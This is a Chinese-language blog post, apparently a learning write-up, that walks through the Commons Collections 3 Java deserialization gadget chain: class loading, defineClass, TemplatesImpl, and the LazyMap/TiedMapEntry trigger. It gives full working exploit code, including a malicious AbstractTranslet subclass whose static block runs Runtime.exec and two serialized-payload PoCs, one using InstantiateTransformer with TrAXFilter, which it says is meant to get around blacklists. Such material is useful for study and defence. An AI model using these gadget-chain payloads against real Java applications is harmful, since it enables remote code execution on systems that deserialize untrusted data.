# 前言

最近考试,线下赛,学校留校事宜,一直没有时间更新,这里先更新一下 CC3 的学习,
前两篇已经记录了 CC1 和突破 CC1 版本限制的 CC6,这篇记录一下 CC3 的学习,本篇中所涉及的代码都在 https://github.com/clown-q/Clown_java 中

# CommonsCollection-3

这条链子使用了与前面两条链子中不同的命令执行的方式,前面的两篇中的 CC1 和 CC6 的链子都是直接命令调用,在 CC3 这个链子中使用了动态类加载,相当于这里是代码执行,前面是命令执行

# 类加载

这里先记录一下类加载,关于类加载实际上是很大的一块内容,后面会新开一篇文章来记录,前面也有提到过类加载机制但是只是简单的记录了一下类加载的逻辑指向,这里先简单的记录等会用得上的部分:

类加载的过程中,现在方法区上面找到 class 信息,有的话直接调用,没有找到就使用类加载器加载到方法区,静态代码在类加载的时候自动执行,这里就和 java 反序列化的过程中 readObject 自动调用很像,做一个区分的话就是在初始化的时候静态代码块会自动调用,其他的在实例化的时候调用, 在使用forName的时候默认是进行初始化的

# 静态类加载 demo

眼见为实,下面测试一下,先写一个用于测试的目标类

package CommonsCollection.Clown_CC3;
public class ClassLoader_Person{
    public String name;
    public static int age;
    static {
        System.out.println("静态代码块");
    }
    {
        System.out.println("代码块");
    }
    public static void test(){
        System.out.println("静态方法");
    }
    public ClassLoader_Person(){
        System.out.println("无参的构造函数");
    }
    public ClassLoader_Person(String name, int age){
        System.out.println("有参的构造方法");
    }
}

在 new 一个类的时候

image-20230519173348127

这里没有添加参数所以调用的是无参的构造函数,两种代码块都调用了,当调用一个具体的方法的时候

image-20230519173613149

这里构造方法和非静态代码块就不会调用了,当设置一个静态变量的时候,只会调用静态代码块

image-20230519173924573

通过上面的 demo,很容易看出,实际上在 java 初始化的时候就会调用静态代码块,其他的则是在类和对象实例化的时候调用

# 动态类加载 demo

这里加载的还是上面用的 Person 类

image-20230519174440189

这里使用 forName 的时候也是默认调用静态代码块

image-20230519174604465

forName 这个重载的方法有参数可以设置为不初始化

image-20230519174815600

这里通过 newInstance 实例化就可以继续正常加载了

image-20230519174959724

下面接着测试 LoadClass 进行类加载

image-20230519183741289

这里可以看到在 loadclass 时是没有调用的

# URLClassLoader

其中默认类加载器的继承关系

image-20230520114825127

这里的 URLClassLoader 方法是 AppClassLoader 的父类,所以 URLClassLoader 的工作流程也是默认的类加载器的工作流程

image-20230520115927300

URLClassLoader 中传入一个 URL,从 URL 中加载出目标类,也就是说可以通过 urlClassLoader 实现任意类加载

package CommonsCollection.Clown_CC3;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoaderTest {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\tmp\\")});
        Class<?> c = urlClassLoader.loadClass("Test");
        c.newInstance();
    }
}

这里通过 file 协议加载的 TEst 文件的作用就是弹出计算器

image-20230520132151122

image-20230520132226319

同样这里也可以使用 http 协议利用更加方便,这种命令执行的方式更加灵活

image-20230520132413708

# defineClass

上面介绍了通过 URLClassLoader 方法实现任意方法执行,这里在介绍一下 defineClass,上面的使用 http 协议虽然运用灵活,但是在实际利用中需要出网,而在 define 中这里只需要加载字节码不需要出网就可以利用

在上面的流程中实际上

graph LR
A(ClassLoader#loadclass)-->B(ClassLoader#findClass)
B(ClassLoader#findClass)-->C(ClassLoader#defineClass)
  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行
  • findClass findClass 的作用是根据基础 URL 指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar 包或远程 http 服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类

这里实际上就是直接去调用 define 来进行代码执行

image-20230520143858761

package CommonsCollection.Clown_CC3;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class defineClassTest {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader =ClassLoader.getSystemClassLoader();
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));
        Class test = (Class) defineClass.invoke(classLoader, "Test", code, 0, code.length);
        test.newInstance();
    }
}

image-20230520143930404

# CC3 链子分析

前面也提到 CC3 使用类加载进行代码执行,这里 CC3 作者也是使用 defineClass 这个方法去进行代码执行

# 代码执行逻辑分析

最后想要利用到的点是 defineClass

image-20230710082241036

但是这里是一个被 protected 修饰的方法,只能对于本包和其子类可见,虽然大部分的上层开发者不会使用到 defineClass 方法,但是还是有一些底层的类使用到了它,这就是 TemplatesImpl,这里可以通过 Alt+F7 去查找有哪些地方调用了这个 defineClass 方法,最后也是找到在 TemplatesImpl 类中有一个调用,没有显式地声明其定义域。Java 中默认情况下,如果一个 方法没有显式声明作用域,其作用域为 default。所以也就是说这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用

image-20230710084307534

这里接着找哪里调用了它

image-20230710085207571

可以看到这里是在 defineTransletClasses 中有一个调用

image-20230710085433761

这里看到,它也是一个私有的方法,这里接着追溯一下哪里有调用这个方法

image-20230710085646563

这里一共也是找到了三处调用,这里分别看一下几处调用

image-20230710090742178

这里是直接将 class 返回回来

image-20230710090947197

这里返回了一个下标

image-20230710091144929

这里有一个 newInstance 方法会进行一个初始化,代码执行的两个条件类加载和初始化就满足了,但是这个方法也是私有的,所以这里还需要往回找

image-20230710091832347

最后是找到 newTransformer 中调用,且是一个公共的方法,这里找到这就基本可以代码执行了,总结一下流程大概就下面这个样子

image-20230710093731368

# demo

上面吧整个流程整理清楚了,下面开始构造一个简单的 poc 来执行任意代码

这里先构造要加载的字节码,值得注意的是 TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,但是为什么呢,这里可以先构造一个不继承的调试看一下

package CommonsCollection.Clown_CC3;

import java.io.IOException;

/**
 * @BelongsProject: study_java
 * @BelongsPackage: CommonsCollection.Clown_CC3
 * @Author: Clown
 * @CreateTime: 2023-07-10  10:00
 */
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

先构造一个这样的代码,来通过 TemplatesImpl 方法来执行

package CommonsCollection.Clown_CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class POC1 {
    public static void Serliazation(Object object) throws Exception{
        FileOutputStream fileInputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileInputStream);
        objectOutputStream.writeObject(object);
        System.out.println("Output");
    }

    public static void Unserlization() throws Exception{
        FileInputStream fileInputStream =new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream =new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("Input");
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        
        templates.newTransformer();
    }
}

这里通过反射设置了三个值,先来看一下为什么这样设置,上面的逻辑分析中可以看到入口点是 newTransformer

image-20230710102549579

这里实际上是想要调用 getTransletInstance 方法,看一下这里构造方法没有做任何的操作

image-20230710102700983

追溯到想要调用的方法中

image-20230710102945468

这里_name 为空会直接返回 null,所以上面通过反射将__name 任意设置了一个值,_class 要为空才行

image-20230710103502179

进一步追溯到 defineTransletClasses,这里如果_bytecodes 为空会抛出一个异常,当然它是要执行的字节码不会为空,_tfactory 如果为空会抛出空指针异常

image-20230710103723295

这里发现_tfactory 变量是一个 transient 不能被序列化,但是 TemplatesImpl 又继承了 Serializable 所以这里是在 readObject 中有赋值

image-20230710103938134

这里因为目前是想要直接去代码执行所以,这里就先通过反射赋值,这样运行上面的代码会报错

image-20230710104056655

# 调试解释继承 AbstractTranslet

可以看到这里报了一个空指针的错误,错误位置在 defineTransletClasses,这里就是最开始说的那个 TemplatesImpl 中对加载的字节码是有一定要求,这里在 defineTransletClasses 下断点调试一下,看一下为什么会这样

image-20230710104458309

这里看到 bytecode 不是 null 已经赋值了

image-20230710104614590

这里可以看到 tfactory 不是 null 也已经走过来了

image-20230710104724415

我们的目标 defineClass 类加载其实也是成功的

image-20230710104855201

这里就是报错的问题所在了,首先这里会判断他的父类的名字是不是常量 ABSTRACT_TRANSLET,如果是就将_transletIndex 赋值为 - 1,如果不是就调用一个 put,这里的_auxClasses 是一个 null 所以报错

这里两种解决思路,一是继承常量指定的类

image-20230710105414239

第二种方式就是给_auxClasses,一个值,但是后面判断_transletIndex 小于 1 会抛出一个异常

image-20230710105503172

这里最终是选择前者,所以要执行的代码块就要改为

package CommonsCollection.Clown_CC3;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/**
 * @BelongsProject: study_java
 * @BelongsPackage: CommonsCollection.Clown_CC3
 * @Author: Clown
 * @CreateTime: 2023-07-10  10:00
 */
public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

在尝试运行就成功了

image-20230710110200835

# 整合 CC 链

上面有了代码执行的部分,这里整合到 CC6 的前半段就行

package CommonsCollection.Clown_CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.transforms.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class POC1 {
    public static void Serliazation(Object object) throws Exception{
        FileOutputStream fileInputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileInputStream);
        objectOutputStream.writeObject(object);
        System.out.println("Output");
    }

    public static void Unserlization() throws Exception{
        FileInputStream fileInputStream =new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream =new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("Input");
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));//这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏
//        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        HashMap<Object, Object> map2 = new HashMap<>();//这里是触发点
        map2.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");//这里将序列化过程中存入的key删除

        Class clazz = LazyMap.class;//这里通过反射将LazyMap设置为目标值
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);//私有属性
        factoryField.set(lazymap,chainedTransformer);//这里设置为目标的危险函数

        Serliazation(map2);
        Unserlization();
    }
}

image-20230710111411877

最后的流程大概这样

image-20230710112102028

# 补充

package CommonsCollection.Clown_CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.temporal.Temporal;
import java.util.HashMap;
import java.util.Map;

/**
 * @BelongsProject: study_java
 * @BelongsPackage: CommonsCollection.Clown_CC3
 * @Author: Clown
 * @CreateTime: 2023-07-10  11:31
 */
public class POC2 {
    public static void Serliazation(Object object) throws Exception{
        FileOutputStream fileInputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileInputStream);
        objectOutputStream.writeObject(object);
        System.out.println("Output");
    }

    public static void Unserlization() throws Exception{
        FileInputStream fileInputStream =new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream =new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("Input");
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));//这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏
//        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        HashMap<Object, Object> map2 = new HashMap<>();//这里是触发点
        map2.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");//这里将序列化过程中存入的key删除

        Class clazz = LazyMap.class;//这里通过反射将LazyMap设置为目标值
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);//私有属性
        factoryField.set(lazymap,chainedTransformer);//这里设置为目标的危险函数

//        Serliazation(map2);
        Unserlization();
    }
}

这里看到 CC3 的作者是使用了一个 InstantiateTransformer,而没有使用 InvokerTransformer 这里防止黑名单的链子去调用,这里做一个补充